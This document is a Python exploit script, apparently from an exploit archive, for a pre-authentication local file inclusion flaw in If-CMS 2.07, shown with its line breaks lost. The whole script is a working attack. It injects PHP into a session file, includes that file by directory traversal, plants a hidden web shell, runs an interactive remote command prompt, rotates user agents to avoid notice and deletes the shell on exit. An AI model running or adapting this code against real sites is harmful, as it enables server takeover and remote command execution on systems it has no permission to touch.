IF-CMS 2.07 – Local File Inclusion (1)
#!/usr/bin/python # ~INFORMATION # Exploit Title: If-CMS 2.07 Pre-Auth Local File Inclusion 0day Exploit # Author: TecR0c # Date: 13/3/2011 # Software link: http://bit.ly/hh9ZB4 # Tested on: Linux bt # Version: 2.07 # PHP.ini Settings: gpc_magic_quotes = Off import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass from optparse import OptionParser from urlparse import urlparse,urljoin from urllib import urlopen from cookielib import CookieJar __CONTACT__ ="TecR0c(tecr0c@tecninja.net)" __DATE__ ="13.3.2011" usage = 'Example : %s http://localhost/ncms/ -p 127.0.0.1:8080' % __file__ parser = OptionParser(usage=usage) parser.add_option("-p","--proxy", type="string",action="store", dest="proxy", help="HTTP Proxy <server>:<port>") (options, args) = parser.parse_args() if options.proxy: print '[+] Using Proxy'+options.proxy # User Agents agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)", "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ", "Google Chrome 0.2.149.29 (Windows XP)", "Opera 9.25 (Windows Vista)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)", "Opera/8.00 (Windows NT 5.1; U; en)"] agent = random.choice(agents) traversal = '../../../../../../../../../../../..' sessionLocation = '/var/lib/php5/' def banner(): if os.name == "posix": os.system("clear") else: os.system("cls") header = ''' |----------------------------------------| |Exploit: If-CMS 2.07 LFI RCE |Author: %s |Date: %s |----------------------------------------|\n '''%(__CONTACT__,__DATE__) for i in header: print "\b%s"%i, sys.stdout.flush() time.sleep(0.005) def injectPayload(): webSiteUrl = url.geturl()+'index.php?newlang=<?php;system(base64_decode($_REQUEST[cmd]));?>' try: opener.open(webSiteUrl) except: print '[-] Failed' def proxyCheck(): if options.proxy: try: h2 = httplib.HTTPConnection(options.proxy) h2.connect() print "[+] Using Proxy Server:",options.proxy except(socket.timeout): print "[-] Proxy Timed Out\n" pass sys.exit(1) except(NameError): print "[-] Proxy Not Given\n" pass sys.exit(1) except: print "[-] Proxy Failed\n" pass sys.exit(1) def getProxy(): try: proxy_handler = urllib2.ProxyHandler({'http': options.proxy}) except(socket.timeout): print "\n[-] Proxy Timed Out" sys.exit(1) return proxy_handler cj = CookieJar() if options.proxy: opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj)) else: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [('User-agent', agent)] def postRequestWebShell(encodedCommand): webSiteUrl = url.geturl()+'.shell.php' commandToExecute = [ ('cmd',encodedCommand)] cmdData = urllib.urlencode(commandToExecute) try: response = opener.open(webSiteUrl, cmdData).read() except: print '[-] Failed' sys.exit() return response def writeOutShell(encodedCommand): cookieString = str(cj) cookieSearch = re.compile(r"PHPSESSID=(.*) f") session_value = cookieSearch.search(cookieString) if session_value: session_value = session_value.group(1) cj.clear() webSiteUrl = url.geturl()+'index.php?cmd='+encodedCommand+'&newlang='+traversal+sessionLocation+'sess_'+session_value+'%00' try: opener.open(webSiteUrl) except: print '[-] Failed' sys.exit() def commandLine(): encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php" encodedCommand = base64.b64encode(encodedCommand) writeOutShell(encodedCommand) commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc) while True: try: command = raw_input(commandLine) encodedCommand = base64.b64encode(command) response = postRequestWebShell(encodedCommand) print response except KeyboardInterrupt: encodedCommand = base64.b64encode('rm .shell.php') postRequestWebShell(encodedCommand) print "\n[!] Removed .shell.php\n" sys.exit() if "__main__" == __name__: banner() try: url=urlparse(args[0]) except: parser.print_help() sys.exit() getProxy() proxyCheck() injectPayload() commandLine() |